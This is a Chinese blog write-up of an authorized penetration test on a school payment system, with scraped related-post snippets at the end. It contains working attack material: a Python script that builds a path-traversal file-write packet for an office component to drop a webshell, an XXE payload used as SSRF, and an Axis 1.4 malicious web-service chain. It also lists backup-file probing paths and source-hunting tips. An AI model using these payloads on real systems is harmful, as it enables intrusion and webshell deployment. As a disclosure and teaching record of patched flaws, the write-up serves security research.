前言

本次是针对学校某系统的渗透记录,已获得相应授权。通用漏洞涉及影响单位早前已提交至SRC平台,厂商已发布对应补丁。

【查看资料】

信息收集

目标系统主要是一个支付平台,是近期刚上线的系统,向学校老师取得相应授权后开始测试。

软件开发商:`xx软件开发有限公司/xxsoft/xxxx.com.cn`
开发语言: `Java`
框架: `St2`

因为是近期刚上线的系统,单点认证还没有接入。无法通过单点认证登录此系统,在尝试爆破admin密码后无果. 开始转向源码的收集。毕竟白盒才是最直接的手段。源码的收集大致有以下几个思路:

1.百度云盘
2.闲鱼 (部分商家已搭建第三方系统为主可能有存货需要主动询问)
3.同系统站点下存在备份

百度云盘和闲鱼比较费时间,这两个主要看自身对关键词的理解。因为这两个思路基本被人玩的差不多了,也就 不在浪费时间了(后面找了下也确实没有)。先确定了该系统的指纹,使用fofa收集相同系统站点。


然后丢进御剑里走一遍。字典如下:

/ROOT.7z
/ROOT.rar
/ROOT.tar
/ROOT.tar.gz
/ROOT.war
/ROOT.zip
/web.tar
/web.tar.gz
/web.rar

这里其实需要注意.很多情况是tomcat下部署了多个应用。在不同目录中,而 ROOT 目录中只是几个简单的重定向 文件。所以在扫描多应用站点时,应该把 ROOT 改成应用所处目录名. 如:

/pay/index.jsp-- > /pay/ --> pay.war

上面这套思路纯粹看运气.结果也是没有扫到.

某组件存在安全问题

备份走不通只能走一些历史漏洞了。把url列表丢进自己写的轮子里扫一遍: (先是扫了一次目录,后根据目录再次验证)

发现ticket模块下存在 officeserver.jsp ,访问后出现提示

DBSTEP V3.0 0 14 0 请使用Post方法

典型的某格组件,该组件默认存在 SAVEASHTML 方法,攻击者构造特殊的数据包可以造成任意文件的写入: 并且默认使用Base64加密,主要问题在于数据包的构造: 一张图简单了解下具体格式. (别喷,我自己也看不懂)

解释:

具体参考DbStep.jar中的StreamToMsg 方法。这里只做简单的解释 数据包的前64字节为配置信息,告诉后端该如何读取,也就是0-63位。
其中 0:15 赋值给变量 FVersion , 16:31 赋值给变量 BodySize , 32:47 赋值给 ErrorSize . 48:63 赋值给 FFileSize .除了 FVersion ,其余中间内容只能填写数字,代表着各个变量的内容要读取多少位. 以 BodySize 为例子,这里的内容为 114 ,也就是说去除数据前64字节,在往后读114字节.这114字节内容赋值给 FMsgText .之后取参数也是从 FMsgText 中取,每个参数以 \n\t 进行分割。

以此类推. 了解如何构造对应数据包后开始编写脚本: 该组件默认会有一个 SAVEASHTML 方法。可以将 FFileSize 截取的内容存储到文件中。导致任意文件的写入。

else if (mOption.equalsIgnoreCase("SAVEASHTML")) { //
����Ĵ���Ϊ��OFFICE��ΪHTMLҳ��
mHtmlName = MsgObj.GetMsgByName("HTMLNAME"); //
ȡ���ļ�����
mDirectory = MsgObj.GetMsgByName("DIRECTORY"); //ȡ��Ŀ¼����
MsgObj.MsgTextClear();
if (mDirectory.trim().equalsIgnoreCase("")) {mFilePath = mFilePath + "\\HTML";
}
else {mFilePath = mFilePath + "\\HTML\\" + mDirectory;
}
MsgObj.MakeDirectory(mFilePath); //����·��
if (MsgObj.MsgFileSave(mFilePath + "\\" + mHtmlName)) { //
����HTML�ļ�
MsgObj.MsgError(""); //
���������Ϣ
MsgObj.SetMsgByName("STATUS", "����HTML�ɹ�!"); //
Ϣ��״̬����
}
else {MsgObj.MsgError("����HTMLʧ��!"); //
���ô�����Ϣ
}
MsgObj.MsgFileClear();
}

当文件夹不存在时会自动创建对应的文件夹。MsgFileSave 方法后面拼接的 mHtmlName 内容可控,写入文件可以 尝试跨目录。编写生成脚本:

body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==
LOCALFILE=MQ==""".replace(
' ', '\n').strip()
coente="""hello1"""
fileContent=f'''
{coente}
'''.replace("\n","").strip()
payload="DBSTEP V3.0 "
bodysieze=str(len(body))
filesize=str(len(fileContent))
payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16-
len(filesize))+body+fileContent
FVersion=payload[0:15]
print("version:",FVersion)
Body=payload[16:31]
print("BodySize:",Body)
Error=payload[32:47]
print("ErrorSize:",Error)
File=payload[48:63]
print("FileSize:",File)
print(payload)

使用postman发送payload到指定文件。

可能是觉得我操作的过于顺利,返回保存文件失败的内容,于是陷入了沉思。经过一系列的探索。我发现,当 FileName 中的内容不存在 /…/ 跨目录符号时就能保存成功。

因为 mFilePath 取值就是当前应用的根目录

所以文件应该在 HTML 目录下。尝试访问.

​返回404错误,证明文件并没有写入到指定位置中。

Linux和Windows 写入文件的差异性

最后在请教忍酱后得知,由于目标是 Linux 系统,在 linux 系统中, \ 被当做成一个文件夹。而 FileOutputStream 在写入文件时如果文件夹不存在会直接抛出错误。

Demo:

当写入文件时。由于文件夹不存在会创建一个 \HTML\test 的文件夹。而最终写入路径中的文件夹名为 \HTML\test\, HTML\test\ 名字的文件夹是不存在的,导致文件无法写入成功 .

在不使用 /…/ 跨目录符号时,文件最终会以 \HTML\test\1.txt 的文件名进行存储,这与预期也是不符合的。

解决方案:

在了解无法写入的原因后,开始寻找解决方法。既然该方法可以创建文件夹,那么如果我预先创建一个 \HTML\test\ 命名的文件夹,后续不就可以写入了?\ 在创建文件夹时,如果 mDirectory 的内容不为空,那么最终存储的目录地址会进行一个拼接,然后创建。我们可 以在 mDirectory 上做一些尝试。在创建的文件夹名后面添加 \\ 符号,来确保能创建我们预期的文件夹名

实践

:

这里写了一个Demo,模拟最终写入文件的流程。在 path2 上添加多个 \ .最终成功创建出了预期的\HTML\test\ 文件夹。(实际环境中其实需要3个)

有了对应的文件夹,再次尝试写入,由于拼接的原因,需要在原来的目录后去掉一个 \

写入成功: 完成跨目录


根据目标系统生成对应的POC: 总共分两个步骤: 1.创建文件夹 2.写入文件

再次尝试写入文件:

成功写入!

终点也是起点

成功拿到Webshell后,根据现有POC.尝试在目标系统上复现,发现不存在 ticket 模块???,白干了?

好在先前拿的系统中存在 PAY 模块,可以直接下载下来进行代码审计。一顿审计过后发现并没有什么利用点???,该系统不存在文件上传点,并且SQL注入都会对传入的字符做处理

统一使用 org.apache.commons.lang.StringEscapeUtils.escapeSql 方法进行过滤。

这导致后续利用难。但是根据 web.xml ,发现该应用使用了 AXIS 且版本为1.4也开启了远程访问

Axis1.4 是存在一个远程命令执行的,可以向 web service 中添加恶意方法。导致命令执行。

该漏洞利用需要一个SSRF漏洞,来组合利用。
根据现有代码开始查找,是否有可控点。一顿操作下来发现并没有可以利用的SSRF点。基本都是固定的URL。

回想起最近才复现的 MySQL JDBC XXE漏洞(CVE-2021-2471) .xxe也是可以发送http请求的。(主要是平时不太关注这类漏洞)

在JAVA中,可能造成XXE漏洞的主要有以下:

SAXBuilder
SAXParserFactory
SAXReader
SAXTransformerFactory
TransformerFactory
ValidatorSample
XMLReader
Unmarshaller
SchemaFactory
.....

最终审计发现了一处 SAXBuilder 所造成的XXE漏洞。

构造Payload,测试一下dnslog。
Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">]><name>&xxe;</name>


得到响应。
有了SSRF,后续利用起来也比较方便了。因为此系统安装路径都是统一的,公开的几个利用链都是第三方jar 包,LogHandler比较麻烦。所以这里在内置方法类中找了一个文件写入的方法。FileUtil下有一个 writeFileContent 方法,可以直接写入文件。

(公开的链中有可以直接执行命令的,如:freemarker。目标不存在此依赖)

使用SSRF GET请求添加到 Web services ,“会有端口不一样的情况!”
(POST转换一下格式就可以)

方法被成功添加到Web Services中

调用方法,写入文件。成功拿到Webshell!

最后

关注我,持续更新······

私我获取【网络安全学习资料·攻略

【渗透测试】一次从黑盒转向白盒相关推荐

  1. 【测试】软件测试之黑盒、白盒、灰盒测试

      黑盒测试: 不关心软件内部的逻辑,是关心输入和输出是否达到预期效果,相当把测试的软件看成一个只有输入和输出的黑盒子.   黑盒测试设计测试用例的方法:等价类.边界值.因果图法.正交法.场景法和错误 ...

  2. java软件测试黑盒工具,软件测试中的抽象层次系列之一 – 黑盒与白盒

    前几天我在微博上发出了一个STB-010(软件测试在线公益课程系列)报名通知的帖子,这一讲的题目是"软件测试黒盒技术与应用 - 状态转换测试方法",立即引来了一些讨论. 比如朱少民 ...

  3. 软件工程白盒测试的流图怎么画_功能安全理论 | 黑盒 与 白盒

    点击上方?"汽车知识共享空间"关注订阅号,设为星标⭐获取更多实时内容更新... 功能安全标准ISO 26262-6的第9部分是关于软件单元验证的的,总共三个Table(7.8.9) ...

  4. 如何绘制逻辑图— 4. 要素的属性:黑盒与白盒

    在上一篇文中已经介绍了描述要素大小的属性(粒度与分层),这一篇要说明描述要素状态的属性. 看到了"黑盒/白盒",可能认为在讨论软件的测试工作?错了,在分析方法中借用了软件测试的黑/ ...

  5. 黑盒、白盒、灰盒测试

    黑盒.白盒.灰盒测试 1.黑盒测试关注的是被测对象整体外部特征,而不关注内部的构造细节,比如一个查询功能,只要测试这个功能是否能够完成精确查询.模糊查询等操作,而不必在意具体是怎么实现查询的. 2.白 ...

  6. 软件测试之测试策略:黑盒和白盒

    软件测试策略:黑盒测试和白盒测试 1. 基本概念 测试,是通过运行代码的方式来检验程序和需求的符合性.不管我们使用什么样的测试策略,最终都是需要运行一个个测试用例,检验合理性.个人认为,黑盒和白盒,更 ...

  7. 面向可解释AI的黑盒和白盒模型

    使用模型属性.本地逻辑表示和全局逻辑表示从黑盒模型生成解释 快速回顾:XAI 和 NSC 可解释人工智能 (XAI) 致力于开发对人类(包括用户.开发人员.政策制定者和审计人员)来说本质上更容易理解的 ...

  8. 独家 | 机器学习解释模型:黑盒VS白盒(附资料链接)

    作者:Lars Hulstaert 翻译:吴金笛 校对:Nicola 本文约2000字,建议阅读9分钟. 本文将讨论一些可用于解释机器学习模型的不同技术. 大多数机器学习系统需要能够为利益相关者解释为 ...

  9. 软件测试基础知识 - 说一说黑盒与白盒的测试方法

    分享一个大牛的人工智能教程.零基础!通俗易懂!风趣幽默!希望你也加入到人工智能的队伍中来!请点击http://www.captainbed.net 黑盒测试 黑盒测试也称功能测试或数据驱动测试,它是在 ...

最新文章

  1. java将一个数字转换为数组_Java 数组
  2. 你的“苦劳”,真的不值钱!
  3. python test suit_python unittest学习3---添加测试套件,testsuit
  4. Linux搭建Node.js环境
  5. mysql 主从同步-读写分离
  6. 5!(简单的了解for循环与递归的区别)
  7. linux top 命令的结果
  8. 算法设计与分析 上机题Mergesort
  9. 查询SQL Server中表占用的空间方法
  10. Ubuntu 16.04 安装caffe(CPU)以及编译问题处理
  11. Hibernate 与 Mybatis 如何共存?打破你的认知!
  12. 机器学习:激活函数的作用和原理
  13. Spring Cloud (6)config 客户端配置 与GitHub通信
  14. mac使用国内镜像安装homebrew
  15. 满庭芳国色 高清剪图 桃红 下
  16. 基于python的学生信息管理系统文献综述_学生信息管理系统的文献综述
  17. 安装EVA后可能出现无法在EVA输入中文的解决方法
  18. 挠性电路板和刚性电路板的区别,以及柔性电路板焊接方法操作步骤
  19. Hive in exists 区别
  20. 如何做3D虚拟主播?教你用VUP轻松搞定

热门文章

  1. ML:MLOps系列讲解之《基于ML的软件的三个层次之02 Model: Machine Learning Pipelines 2.1~2.4》解读
  2. Python:Python语言编程软件安装的几大姿势之详细攻略
  3. ML之DL:机器学习领域发展最快的分支【深度学习】的发展史及其重要性节点之详细攻略
  4. 成功解决graphviz\backend.py, line 162, in pipe raise ExecutableNotFound(args) graphviz.backend.Executab
  5. Py之PyTables:PyTables的简介、安装、使用方法详细攻略
  6. aidl demo调用原理
  7. 线程访问 DevExpress控件异常时 解决方法
  8. ASP.NET 无限级分类实现实例(深度字段)
  9. 正在研究d2010的dcu格式
  10. delphi和INNO SETUP 文件关联操作